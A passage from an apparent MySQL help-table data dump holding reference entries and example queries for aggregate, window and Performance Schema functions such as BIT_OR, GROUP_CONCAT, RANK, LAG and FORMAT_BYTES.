values.\n\nFor more information discussion about argument evaluation and result\ntypes, see the introductory discussion in\nhttps://dev.mysql.com/doc/refman/8.0/en/bit-functions.html.\n\nIf BIT_AND() is invoked from within the mysql client, binary string\nresults display using hexadecimal notation, depending on the value of\nthe --binary-as-hex. For more information about that option, see\nhttps://dev.mysql.com/doc/refman/8.0/en/mysql.html.\n\nAs of MySQL 8.0.12, this function executes as a window function if\nover_clause is present. over_clause is as described in\nhttps://dev.mysql.com/doc/refman/8.0/en/window-functions-usage.html.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/aggregate-functions.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/aggregate-functions.html'),(424,'BIT_OR',34,'Syntax:\nBIT_OR(expr) [over_clause]\n\nReturns the bitwise OR of all bits in expr.\n\nThe result type depends on whether the function argument values are\nevaluated as binary strings or numbers:\n\no Binary-string evaluation occurs when the argument values have a\n binary string type, and the argument is not a hexadecimal literal,\n bit literal, or NULL literal. Numeric evaluation occurs otherwise,\n with argument value conversion to unsigned 64-bit integers as\n necessary.\n\no Binary-string evaluation produces a binary string of the same length\n as the argument values. If argument values have unequal lengths, an\n ER_INVALID_BITWISE_OPERANDS_SIZE\n (https://dev.mysql.com/doc/mysql-errors/8.0/en/server-error-reference\n .html#error_er_invalid_bitwise_operands_size) error occurs. If the\n argument size exceeds 511 bytes, an\n ER_INVALID_BITWISE_AGGREGATE_OPERANDS_SIZE\n (https://dev.mysql.com/doc/mysql-errors/8.0/en/server-error-reference\n .html#error_er_invalid_bitwise_aggregate_operands_size) error occurs.\n Numeric evaluation produces an unsigned 64-bit integer.\n\nIf there are no matching rows, BIT_OR() returns a neutral value (all\nbits set to 0) having the same length as the argument values.\n\nNULL values do not affect the result unless all values are NULL. In\nthat case, the result is a neutral value having the same length as the\nargument values.\n\nFor more information discussion about argument evaluation and result\ntypes, see the introductory discussion in\nhttps://dev.mysql.com/doc/refman/8.0/en/bit-functions.html.\n\nIf BIT_OR() is invoked from within the mysql client, binary string\nresults display using hexadecimal notation, depending on the value of\nthe --binary-as-hex. For more information about that option, see\nhttps://dev.mysql.com/doc/refman/8.0/en/mysql.html.\n\nAs of MySQL 8.0.12, this function executes as a window function if\nover_clause is present. over_clause is as described in\nhttps://dev.mysql.com/doc/refman/8.0/en/window-functions-usage.html.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/aggregate-functions.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/aggregate-functions.html'),(425,'BIT_XOR',34,'Syntax:\nBIT_XOR(expr) [over_clause]\n\nReturns the bitwise XOR of all bits in expr.\n\nThe result type depends on whether the function argument values are\nevaluated as binary strings or numbers:\n\no Binary-string evaluation occurs when the argument values have a\n binary string type, and the argument is not a hexadecimal literal,\n bit literal, or NULL literal. Numeric evaluation occurs otherwise,\n with argument value conversion to unsigned 64-bit integers as\n necessary.\n\no Binary-string evaluation produces a binary string of the same length\n as the argument values. If argument values have unequal lengths, an\n ER_INVALID_BITWISE_OPERANDS_SIZE\n (https://dev.mysql.com/doc/mysql-errors/8.0/en/server-error-reference\n .html#error_er_invalid_bitwise_operands_size) error occurs. If the\n argument size exceeds 511 bytes, an\n ER_INVALID_BITWISE_AGGREGATE_OPERANDS_SIZE\n (https://dev.mysql.com/doc/mysql-errors/8.0/en/server-error-reference\n .html#error_er_invalid_bitwise_aggregate_operands_size) error occurs.\n Numeric evaluation produces an unsigned 64-bit integer.\n\nIf there are no matching rows, BIT_XOR() returns a neutral value (all\nbits set to 0) having the same length as the argument values.\n\nNULL values do not affect the result unless all values are NULL. In\nthat case, the result is a neutral value having the same length as the\nargument values.\n\nFor more information discussion about argument evaluation and result\ntypes, see the introductory discussion in\nhttps://dev.mysql.com/doc/refman/8.0/en/bit-functions.html.\n\nIf BIT_XOR() is invoked from within the mysql client, binary string\nresults display using hexadecimal notation, depending on the value of\nthe --binary-as-hex. For more information about that option, see\nhttps://dev.mysql.com/doc/refman/8.0/en/mysql.html.\n\nAs of MySQL 8.0.12, this function executes as a window function if\nover_clause is present. over_clause is as described in\nhttps://dev.mysql.com/doc/refman/8.0/en/window-functions-usage.html.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/aggregate-functions.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/aggregate-functions.html'),(426,'COUNT',34,'Syntax:\nCOUNT(expr) [over_clause]\n\nReturns a count of the number of non-NULL values of expr in the rows\nretrieved by a SELECT statement. The result is a BIGINT value.\n\nIf there are no matching rows, COUNT() returns 0. COUNT(NULL) returns\n0.\n\nThis function executes as a window function if over_clause is present.\nover_clause is as described in\nhttps://dev.mysql.com/doc/refman/8.0/en/window-functions-usage.html.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/aggregate-functions.html\n\n','mysql> SELECT student.student_name,COUNT(*)\n FROM student,course\n WHERE student.student_id=course.student_id\n GROUP BY student_name;\n','https://dev.mysql.com/doc/refman/8.0/en/aggregate-functions.html'),(427,'COUNT DISTINCT',34,'Syntax:\nCOUNT(DISTINCT expr,[expr...])\n\nReturns a count of the number of rows with different non-NULL expr\nvalues.\n\nIf there are no matching rows, COUNT(DISTINCT) returns 0.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/aggregate-functions.html\n\n','mysql> SELECT COUNT(DISTINCT results) FROM student;\n','https://dev.mysql.com/doc/refman/8.0/en/aggregate-functions.html'),(428,'GROUP_CONCAT',34,'Syntax:\nGROUP_CONCAT(expr)\n\nThis function returns a string result with the concatenated non-NULL\nvalues from a group. It returns NULL if there are no non-NULL values.\nThe full syntax is as follows:\n\nGROUP_CONCAT([DISTINCT] expr [,expr ...]\n [ORDER BY {unsigned_integer | col_name | expr}\n [ASC | DESC] [,col_name ...]]\n [SEPARATOR str_val])\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/aggregate-functions.html\n\n','mysql> SELECT student_name,\n GROUP_CONCAT(test_score)\n FROM student\n GROUP BY student_name;\n','https://dev.mysql.com/doc/refman/8.0/en/aggregate-functions.html'),(429,'JSON_ARRAYAGG',34,'Syntax:\nJSON_ARRAYAGG(col_or_expr) [over_clause]\n\nAggregates a result set as a single JSON array whose elements consist\nof the rows. The order of elements in this array is undefined. The\nfunction acts on a column or an expression that evaluates to a single\nvalue. Returns NULL if the result contains no rows, or in the event of\nan error. If col_or_expr is NULL, the function returns an array of JSON\n[null] elements.\n\nAs of MySQL 8.0.14, this function executes as a window function if\nover_clause is present. over_clause is as described in\nhttps://dev.mysql.com/doc/refman/8.0/en/window-functions-usage.html.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/aggregate-functions.html\n\n','mysql> SELECT o_id, attribute, value FROM t3;\n+------+-----------+-------+\n| o_id | attribute | value |\n+------+-----------+-------+\n| 2 | color | red |\n| 2 | fabric | silk |\n| 3 | color | green |\n| 3 | shape | square|\n+------+-----------+-------+\n4 rows in set (0.00 sec)\n\nmysql> SELECT o_id, JSON_ARRAYAGG(attribute) AS attributes\n -> FROM t3 GROUP BY o_id;\n+------+---------------------+\n| o_id | attributes |\n+------+---------------------+\n| 2 | [\"color\", \"fabric\"] |\n| 3 | [\"color\", \"shape\"] |\n+------+---------------------+\n2 rows in set (0.00 sec)\n','https://dev.mysql.com/doc/refman/8.0/en/aggregate-functions.html'),(430,'JSON_OBJECTAGG',34,'Syntax:\nJSON_OBJECTAGG(key, value) [over_clause]\n\nTakes two column names or expressions as arguments, the first of these\nbeing used as a key and the second as a value, and returns a JSON\nobject containing key-value pairs. Returns NULL if the result contains\nno rows, or in the event of an error. An error occurs if any key name\nis NULL or the number of arguments is not equal to 2.\n\nAs of MySQL 8.0.14, this function executes as a window function if\nover_clause is present. over_clause is as described in\nhttps://dev.mysql.com/doc/refman/8.0/en/window-functions-usage.html.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/aggregate-functions.html\n\n','mysql> SELECT o_id, attribute, value FROM t3;\n+------+-----------+-------+\n| o_id | attribute | value |\n+------+-----------+-------+\n| 2 | color | red |\n| 2 | fabric | silk |\n| 3 | color | green |\n| 3 | shape | square|\n+------+-----------+-------+\n4 rows in set (0.00 sec)\n\nmysql> SELECT o_id, JSON_OBJECTAGG(attribute, value)\n -> FROM t3 GROUP BY o_id;\n+------+---------------------------------------+\n| o_id | JSON_OBJECTAGG(attribute, value) |\n+------+---------------------------------------+\n| 2 | {\"color\": \"red\", \"fabric\": \"silk\"} |\n| 3 | {\"color\": \"green\", \"shape\": \"square\"} |\n+------+---------------------------------------+\n2 rows in set (0.00 sec)\n','https://dev.mysql.com/doc/refman/8.0/en/aggregate-functions.html'),(431,'MAX',34,'Syntax:\nMAX([DISTINCT] expr) [over_clause]\n\nReturns the maximum value of expr. MAX() may take a string argument; in\nsuch cases, it returns the maximum string value. See\nhttps://dev.mysql.com/doc/refman/8.0/en/mysql-indexes.html. The\nDISTINCT keyword can be used to find the maximum of the distinct values\nof expr, however, this produces the same result as omitting DISTINCT.\n\nIf there are no matching rows, or if expr is NULL, MAX() returns NULL.\n\nThis function executes as a window function if over_clause is present.\nover_clause is as described in\nhttps://dev.mysql.com/doc/refman/8.0/en/window-functions-usage.html; it\ncannot be used with DISTINCT.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/aggregate-functions.html\n\n','mysql> SELECT student_name, MIN(test_score), MAX(test_score)\n FROM student\n GROUP BY student_name;\n','https://dev.mysql.com/doc/refman/8.0/en/aggregate-functions.html'),(432,'MIN',34,'Syntax:\nMIN([DISTINCT] expr) [over_clause]\n\nReturns the minimum value of expr. MIN() may take a string argument; in\nsuch cases, it returns the minimum string value. See\nhttps://dev.mysql.com/doc/refman/8.0/en/mysql-indexes.html. The\nDISTINCT keyword can be used to find the minimum of the distinct values\nof expr, however, this produces the same result as omitting DISTINCT.\n\nIf there are no matching rows, or if expr is NULL, MIN() returns NULL.\n\nThis function executes as a window function if over_clause is present.\nover_clause is as described in\nhttps://dev.mysql.com/doc/refman/8.0/en/window-functions-usage.html; it\ncannot be used with DISTINCT.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/aggregate-functions.html\n\n','mysql> SELECT student_name, MIN(test_score), MAX(test_score)\n FROM student\n GROUP BY student_name;\n','https://dev.mysql.com/doc/refman/8.0/en/aggregate-functions.html'),(433,'STD',34,'Syntax:\nSTD(expr) [over_clause]\n\nReturns the population standard deviation of expr. STD() is a synonym\nfor the standard SQL function STDDEV_POP(), provided as a MySQL\nextension.\n\nIf there are no matching rows, or if expr is NULL, STD() returns NULL.\n\nThis function executes as a window function if over_clause is present.\nover_clause is as described in\nhttps://dev.mysql.com/doc/refman/8.0/en/window-functions-usage.html.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/aggregate-functions.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/aggregate-functions.html'),(434,'STDDEV',34,'Syntax:\nSTDDEV(expr) [over_clause]\n\nReturns the population standard deviation of expr. STDDEV() is a\nsynonym for the standard SQL function STDDEV_POP(), provided for\ncompatibility with Oracle.\n\nIf there are no matching rows, or if expr is NULL, STDDEV() returns\nNULL.\n\nThis function executes as a window function if over_clause is present.\nover_clause is as described in\nhttps://dev.mysql.com/doc/refman/8.0/en/window-functions-usage.html.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/aggregate-functions.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/aggregate-functions.html'),(435,'STDDEV_POP',34,'Syntax:\nSTDDEV_POP(expr) [over_clause]\n\nReturns the population standard deviation of expr (the square root of\nVAR_POP()). You can also use STD() or STDDEV(), which are equivalent\nbut not standard SQL.\n\nIf there are no matching rows, or if expr is NULL, STDDEV_POP() returns\nNULL.\n\nThis function executes as a window function if over_clause is present.\nover_clause is as described in\nhttps://dev.mysql.com/doc/refman/8.0/en/window-functions-usage.html.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/aggregate-functions.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/aggregate-functions.html'),(436,'STDDEV_SAMP',34,'Syntax:\nSTDDEV_SAMP(expr) [over_clause]\n\nReturns the sample standard deviation of expr (the square root of\nVAR_SAMP().\n\nIf there are no matching rows, or if expr is NULL, STDDEV_SAMP()\nreturns NULL.\n\nThis function executes as a window function if over_clause is present.\nover_clause is as described in\nhttps://dev.mysql.com/doc/refman/8.0/en/window-functions-usage.html.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/aggregate-functions.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/aggregate-functions.html'),(437,'SUM',34,'Syntax:\nSUM([DISTINCT] expr) [over_clause]\n\nReturns the sum of expr. If the return set has no rows, SUM() returns\nNULL. The DISTINCT keyword can be used to sum only the distinct values\nof expr.\n\nIf there are no matching rows, or if expr is NULL, SUM() returns NULL.\n\nThis function executes as a window function if over_clause is present.\nover_clause is as described in\nhttps://dev.mysql.com/doc/refman/8.0/en/window-functions-usage.html; it\ncannot be used with DISTINCT.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/aggregate-functions.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/aggregate-functions.html'),(438,'VAR_POP',34,'Syntax:\nVAR_POP(expr) [over_clause]\n\nReturns the population standard variance of expr. It considers rows as\nthe whole population, not as a sample, so it has the number of rows as\nthe denominator. You can also use VARIANCE(), which is equivalent but\nis not standard SQL.\n\nIf there are no matching rows, or if expr is NULL, VAR_POP() returns\nNULL.\n\nThis function executes as a window function if over_clause is present.\nover_clause is as described in\nhttps://dev.mysql.com/doc/refman/8.0/en/window-functions-usage.html.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/aggregate-functions.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/aggregate-functions.html'),(439,'VAR_SAMP',34,'Syntax:\nVAR_SAMP(expr) [over_clause]\n\nReturns the sample variance of expr. That is, the denominator is the\nnumber of rows minus one.\n\nIf there are no matching rows, or if expr is NULL, VAR_SAMP() returns\nNULL.\n\nThis function executes as a window function if over_clause is present.\nover_clause is as described in\nhttps://dev.mysql.com/doc/refman/8.0/en/window-functions-usage.html.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/aggregate-functions.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/aggregate-functions.html'),(440,'VARIANCE',34,'Syntax:\nVARIANCE(expr) [over_clause]\n\nReturns the population standard variance of expr. VARIANCE() is a\nsynonym for the standard SQL function VAR_POP(), provided as a MySQL\nextension.\n\nIf there are no matching rows, or if expr is NULL, VARIANCE() returns\nNULL.\n\nThis function executes as a window function if over_clause is present.\nover_clause is as described in\nhttps://dev.mysql.com/doc/refman/8.0/en/window-functions-usage.html.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/aggregate-functions.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/aggregate-functions.html'),(441,'CUME_DIST',36,'CUME_DIST() over_clause\n\nReturns the cumulative distribution of a value within a group of\nvalues; that is, the percentage of partition values less than or equal\nto the value in the current row. This represents the number of rows\npreceding or peer with the current row in the window ordering of the\nwindow partition divided by the total number of rows in the window\npartition. Return values range from 0 to 1.\n\nThis function should be used with ORDER BY to sort partition rows into\nthe desired order. Without ORDER BY, all rows are peers and have value\nN/N = 1, where N is the partition size.\n\nover_clause is as described in\nhttps://dev.mysql.com/doc/refman/8.0/en/window-functions-usage.html.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/window-function-descriptions.html\n\n','mysql> SELECT\n val,\n ROW_NUMBER() OVER w AS \'row_number\',\n CUME_DIST() OVER w AS \'cume_dist\',\n PERCENT_RANK() OVER w AS \'percent_rank\'\n FROM numbers\n WINDOW w AS (ORDER BY val);\n+------+------------+--------------------+--------------+\n| val | row_number | cume_dist | percent_rank |\n+------+------------+--------------------+--------------+\n| 1 | 1 | 0.2222222222222222 | 0 |\n| 1 | 2 | 0.2222222222222222 | 0 |\n| 2 | 3 | 0.3333333333333333 | 0.25 |\n| 3 | 4 | 0.6666666666666666 | 0.375 |\n| 3 | 5 | 0.6666666666666666 | 0.375 |\n| 3 | 6 | 0.6666666666666666 | 0.375 |\n| 4 | 7 | 0.8888888888888888 | 0.75 |\n| 4 | 8 | 0.8888888888888888 | 0.75 |\n| 5 | 9 | 1 | 1 |\n+------+------------+--------------------+--------------+\n','https://dev.mysql.com/doc/refman/8.0/en/window-function-descriptions.html'),(442,'DENSE_RANK',36,'DENSE_RANK() over_clause\n\nReturns the rank of the current row within its partition, without gaps.\nPeers are considered ties and receive the same rank. This function\nassigns consecutive ranks to peer groups; the result is that groups of\nsize greater than one do not produce noncontiguous rank numbers. For an\nexample, see the RANK() function description.\n\nThis function should be used with ORDER BY to sort partition rows into\nthe desired order. Without ORDER BY, all rows are peers.\n\nover_clause is as described in\nhttps://dev.mysql.com/doc/refman/8.0/en/window-functions-usage.html.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/window-function-descriptions.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/window-function-descriptions.html'),(443,'FIRST_VALUE',36,'FIRST_VALUE(expr) [null_treatment] over_clause\n\nReturns the value of expr from the first row of the window frame.\n\nover_clause is as described in\nhttps://dev.mysql.com/doc/refman/8.0/en/window-functions-usage.html.\nnull_treatment is as described in the section introduction.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/window-function-descriptions.html\n\n','mysql> SELECT\n time, subject, val,\n FIRST_VALUE(val) OVER w AS \'first\',\n LAST_VALUE(val) OVER w AS \'last\',\n NTH_VALUE(val, 2) OVER w AS \'second\',\n NTH_VALUE(val, 4) OVER w AS \'fourth\'\n FROM observations\n WINDOW w AS (PARTITION BY subject ORDER BY time\n ROWS UNBOUNDED PRECEDING);\n+----------+---------+------+-------+------+--------+--------+\n| time | subject | val | first | last | second | fourth |\n+----------+---------+------+-------+------+--------+--------+\n| 07:00:00 | st113 | 10 | 10 | 10 | NULL | NULL |\n| 07:15:00 | st113 | 9 | 10 | 9 | 9 | NULL |\n| 07:30:00 | st113 | 25 | 10 | 25 | 9 | NULL |\n| 07:45:00 | st113 | 20 | 10 | 20 | 9 | 20 |\n| 07:00:00 | xh458 | 0 | 0 | 0 | NULL | NULL |\n| 07:15:00 | xh458 | 10 | 0 | 10 | 10 | NULL |\n| 07:30:00 | xh458 | 5 | 0 | 5 | 10 | NULL |\n| 07:45:00 | xh458 | 30 | 0 | 30 | 10 | 30 |\n| 08:00:00 | xh458 | 25 | 0 | 25 | 10 | 30 |\n+----------+---------+------+-------+------+--------+--------+\n','https://dev.mysql.com/doc/refman/8.0/en/window-function-descriptions.html'),(444,'LAG',36,'LAG(expr [, N[, default]]) [null_treatment] over_clause\n\nReturns the value of expr from the row that lags (precedes) the current\nrow by N rows within its partition. If there is no such row, the return\nvalue is default. For example, if N is 3, the return value is default\nfor the first three rows. If N or default are missing, the defaults are\n1 and NULL, respectively.\n\nN must be a literal nonnegative integer. If N is 0, expr is evaluated\nfor the current row.\n\nBeginning with MySQL 8.0.22, N cannot be NULL. In addition, it must now\nbe an integer in the range 0 to 263, inclusive, in any of the following\nforms:\n\no an unsigned integer constant literal\n\no a positional parameter marker (?)\n\no a user-defined variable\n\no a local variable in a stored routine\n\nover_clause is as described in\nhttps://dev.mysql.com/doc/refman/8.0/en/window-functions-usage.html.\nnull_treatment is as described in the section introduction.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/window-function-descriptions.html\n\n','mysql> SELECT\n t, val,\n LAG(val) OVER w AS \'lag\',\n LEAD(val) OVER w AS \'lead\',\n val - LAG(val) OVER w AS \'lag diff\',\n val - LEAD(val) OVER w AS \'lead diff\'\n FROM series\n WINDOW w AS (ORDER BY t);\n+----------+------+------+------+----------+-----------+\n| t | val | lag | lead | lag diff | lead diff |\n+----------+------+------+------+----------+-----------+\n| 12:00:00 | 100 | NULL | 125 | NULL | -25 |\n| 13:00:00 | 125 | 100 | 132 | 25 | -7 |\n| 14:00:00 | 132 | 125 | 145 | 7 | -13 |\n| 15:00:00 | 145 | 132 | 140 | 13 | 5 |\n| 16:00:00 | 140 | 145 | 150 | -5 | -10 |\n| 17:00:00 | 150 | 140 | 200 | 10 | -50 |\n| 18:00:00 | 200 | 150 | NULL | 50 | NULL |\n+----------+------+------+------+----------+-----------+\n\nmysql> SELECT n FROM fib ORDER BY n;\n+------+\n| n |\n+------+\n| 1 |\n| 1 |\n| 2 |\n| 3 |\n| 5 |\n| 8 |\n+------+\n\nmysql> SELECT\n n,\n LAG(n, 1, 0) OVER w AS \'lag\',\n LEAD(n, 1, 0) OVER w AS \'lead\',\n n + LAG(n, 1, 0) OVER w AS \'next_n\',\n n + LEAD(n, 1, 0) OVER w AS \'next_next_n\'\n FROM fib\n WINDOW w AS (ORDER BY n);\n+------+------+------+--------+-------------+\n| n | lag | lead | next_n | next_next_n |\n+------+------+------+--------+-------------+\n| 1 | 0 | 1 | 1 | 2 |\n| 1 | 1 | 2 | 2 | 3 |\n| 2 | 1 | 3 | 3 | 5 |\n| 3 | 2 | 5 | 5 | 8 |\n| 5 | 3 | 8 | 8 | 13 |\n| 8 | 5 | 0 | 13 | 8 |\n+------+------+------+--------+-------------+\n','https://dev.mysql.com/doc/refman/8.0/en/window-function-descriptions.html'),(445,'LAST_VALUE',36,'LAST_VALUE(expr) [null_treatment] over_clause\n\nReturns the value of expr from the last row of the window frame.\n\nover_clause is as described in\nhttps://dev.mysql.com/doc/refman/8.0/en/window-functions-usage.html.\nnull_treatment is as described in the section introduction.\n\nFor an example, see the FIRST_VALUE() function description.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/window-function-descriptions.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/window-function-descriptions.html'),(446,'LEAD',36,'LEAD(expr [, N[, default]]) [null_treatment] over_clause\n\nReturns the value of expr from the row that leads (follows) the current\nrow by N rows within its partition. If there is no such row, the return\nvalue is default. For example, if N is 3, the return value is default\nfor the last three rows. If N or default are missing, the defaults are\n1 and NULL, respectively.\n\nN must be a literal nonnegative integer. If N is 0, expr is evaluated\nfor the current row.\n\nBeginning with MySQL 8.0.22, N cannot be NULL. In addition, it must now\nbe an integer in the range 0 to 263, inclusive, in any of the following\nforms:\n\no an unsigned integer constant literal\n\no a positional parameter marker (?)\n\no a user-defined variable\n\no a local variable in a stored routine\n\nover_clause is as described in\nhttps://dev.mysql.com/doc/refman/8.0/en/window-functions-usage.html.\nnull_treatment is as described in the section introduction.\n\nFor an example, see the LAG() function description.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/window-function-descriptions.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/window-function-descriptions.html'),(447,'NTH_VALUE',36,'NTH_VALUE(expr, N) [from_first_last] [null_treatment] over_clause\n\nReturns the value of expr from the N-th row of the window frame. If\nthere is no such row, the return value is NULL.\n\nN must be a literal positive integer.\n\nfrom_first_last is part of the SQL standard, but the MySQL\nimplementation permits only FROM FIRST (which is also the default).\nThis means that calculations begin at the first row of the window. FROM\nLAST is parsed, but produces an error. To obtain the same effect as\nFROM LAST (begin calculations at the last row of the window), use ORDER\nBY to sort in reverse order.\n\nover_clause is as described in\nhttps://dev.mysql.com/doc/refman/8.0/en/window-functions-usage.html.\nnull_treatment is as described in the section introduction.\n\nFor an example, see the FIRST_VALUE() function description.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/window-function-descriptions.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/window-function-descriptions.html'),(448,'NTILE',36,'NTILE(N) over_clause\n\nDivides a partition into N groups (buckets), assigns each row in the\npartition its bucket number, and returns the bucket number of the\ncurrent row within its partition. For example, if N is 4, NTILE()\ndivides rows into four buckets. If N is 100, NTILE() divides rows into\n100 buckets.\n\nN must be a literal positive integer. Bucket number return values range\nfrom 1 to N.\n\nBeginning with MySQL 8.0.22, N cannot be NULL, and must be an integer\nin the range 0 to 263, inclusive, in any of the following forms:\n\no an unsigned integer constant literal\n\no a positional parameter marker (?)\n\no a user-defined variable\n\no a local variable in a stored routine\n\nThis function should be used with ORDER BY to sort partition rows into\nthe desired order.\n\nover_clause is as described in\nhttps://dev.mysql.com/doc/refman/8.0/en/window-functions-usage.html.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/window-function-descriptions.html\n\n','mysql> SELECT\n val,\n ROW_NUMBER() OVER w AS \'row_number\',\n NTILE(2) OVER w AS \'ntile2\',\n NTILE(4) OVER w AS \'ntile4\'\n FROM numbers\n WINDOW w AS (ORDER BY val);\n+------+------------+--------+--------+\n| val | row_number | ntile2 | ntile4 |\n+------+------------+--------+--------+\n| 1 | 1 | 1 | 1 |\n| 1 | 2 | 1 | 1 |\n| 2 | 3 | 1 | 1 |\n| 3 | 4 | 1 | 2 |\n| 3 | 5 | 1 | 2 |\n| 3 | 6 | 2 | 3 |\n| 4 | 7 | 2 | 3 |\n| 4 | 8 | 2 | 4 |\n| 5 | 9 | 2 | 4 |\n+------+------------+--------+--------+\n','https://dev.mysql.com/doc/refman/8.0/en/window-function-descriptions.html'),(449,'PERCENT_RANK',36,'PERCENT_RANK() over_clause\n\nReturns the percentage of partition values less than the value in the\ncurrent row, excluding the highest value. Return values range from 0 to\n1 and represent the row relative rank, calculated as the result of this\nformula, where rank is the row rank and rows is the number of partition\nrows:\n\n(rank - 1) / (rows - 1)\n\nThis function should be used with ORDER BY to sort partition rows into\nthe desired order. Without ORDER BY, all rows are peers.\n\nover_clause is as described in\nhttps://dev.mysql.com/doc/refman/8.0/en/window-functions-usage.html.\n\nFor an example, see the CUME_DIST() function description.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/window-function-descriptions.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/window-function-descriptions.html'),(450,'RANK',36,'RANK() over_clause\n\nReturns the rank of the current row within its partition, with gaps.\nPeers are considered ties and receive the same rank. This function does\nnot assign consecutive ranks to peer groups if groups of size greater\nthan one exist; the result is noncontiguous rank numbers.\n\nThis function should be used with ORDER BY to sort partition rows into\nthe desired order. Without ORDER BY, all rows are peers.\n\nover_clause is as described in\nhttps://dev.mysql.com/doc/refman/8.0/en/window-functions-usage.html.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/window-function-descriptions.html\n\n','mysql> SELECT\n val,\n ROW_NUMBER() OVER w AS \'row_number\',\n RANK() OVER w AS \'rank\',\n DENSE_RANK() OVER w AS \'dense_rank\'\n FROM numbers\n WINDOW w AS (ORDER BY val);\n+------+------------+------+------------+\n| val | row_number | rank | dense_rank |\n+------+------------+------+------------+\n| 1 | 1 | 1 | 1 |\n| 1 | 2 | 1 | 1 |\n| 2 | 3 | 3 | 2 |\n| 3 | 4 | 4 | 3 |\n| 3 | 5 | 4 | 3 |\n| 3 | 6 | 4 | 3 |\n| 4 | 7 | 7 | 4 |\n| 4 | 8 | 7 | 4 |\n| 5 | 9 | 9 | 5 |\n+------+------------+------+------------+\n','https://dev.mysql.com/doc/refman/8.0/en/window-function-descriptions.html'),(451,'ROW_NUMBER',36,'ROW_NUMBER() over_clause\n\nReturns the number of the current row within its partition. Rows\nnumbers range from 1 to the number of partition rows.\n\nORDER BY affects the order in which rows are numbered. Without ORDER\nBY, row numbering is nondeterministic.\n\nROW_NUMBER() assigns peers different row numbers. To assign peers the\nsame value, use RANK() or DENSE_RANK(). For an example, see the RANK()\nfunction description.\n\nover_clause is as described in\nhttps://dev.mysql.com/doc/refman/8.0/en/window-functions-usage.html.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/window-function-descriptions.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/window-function-descriptions.html'),(452,'FORMAT_BYTES',37,'FORMAT_BYTES(count)\n\nGiven a numeric byte count, converts it to human-readable format and\nreturns a string consisting of a value and a units indicator. The\nstring contains the number of bytes rounded to 2 decimal places and a\nminimum of 3 significant digits. Numbers less than 1024 bytes are\nrepresented as whole numbers and are not rounded. Returns NULL if count\nis NULL.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/performance-schema-functions.html\n\n','mysql> SELECT FORMAT_BYTES(512), FORMAT_BYTES(18446644073709551615);\n+-------------------+------------------------------------+\n| FORMAT_BYTES(512) | FORMAT_BYTES(18446644073709551615) |\n+-------------------+------------------------------------+\n| 512 bytes | 16.00 EiB |\n+-------------------+------------------------------------+\n','https://dev.mysql.com/doc/refman/8.0/en/performance-schema-functions.html'),(453,'FORMAT_PICO_TIME',37,'FORMAT_PICO_TIME(time_val)\n\nGiven a numeric Performance Schema latency or wait time in picoseconds,\nconverts it to human-readable format and returns a string consisting of\na value and a units indicator. The string contains the decimal time\nrounded to 2 decimal places and a minimum of 3 significant digits.\nTimes under 1 nanosecond are represented as whole numbers and are not\nrounded.\n\nIf time_val is NULL, this function returns NULL.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/performance-schema-functions.html\n\n','mysql> SELECT FORMAT_PICO_TIME(3501), FORMAT_PICO_TIME(188732396662000);\n+------------------------+-----------------------------------+\n| FORMAT_PICO_TIME(3501) | FORMAT_PICO_TIME(188732396662000) |\n+------------------------+-----------------------------------+\n| 3.50 ns | 3.15 min |\n+------------------------+-----------------------------------+\n','https://dev.mysql.com/doc/refman/8.0/en/performance-schema-functions.html'),(454,'PS_CURRENT_THREAD_ID',37,'PS_CURRENT_THREAD_ID()\n\nReturns a BIGINT UNSIGNED value representing the Performance Schema\nthread ID assigned to the current connection.\n\nThe thread ID return value is a value of the type given in the\nTHREAD_ID column of Performance Schema tables.\n\nPerformance Schema configuration affects PS_CURRENT_THREAD_ID() the\nsame way as for PS_THREAD_ID(). For details, see the description of\nthat function.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/performance-schema-functions.html\n\n','mysql> SELECT PS_CURRENT_THREAD_ID();\n+------------------------+\n| PS_CURRENT_THREAD_ID() |\n+------------------------+\n| 52 |\n+------------------------+\nmysql> SELECT 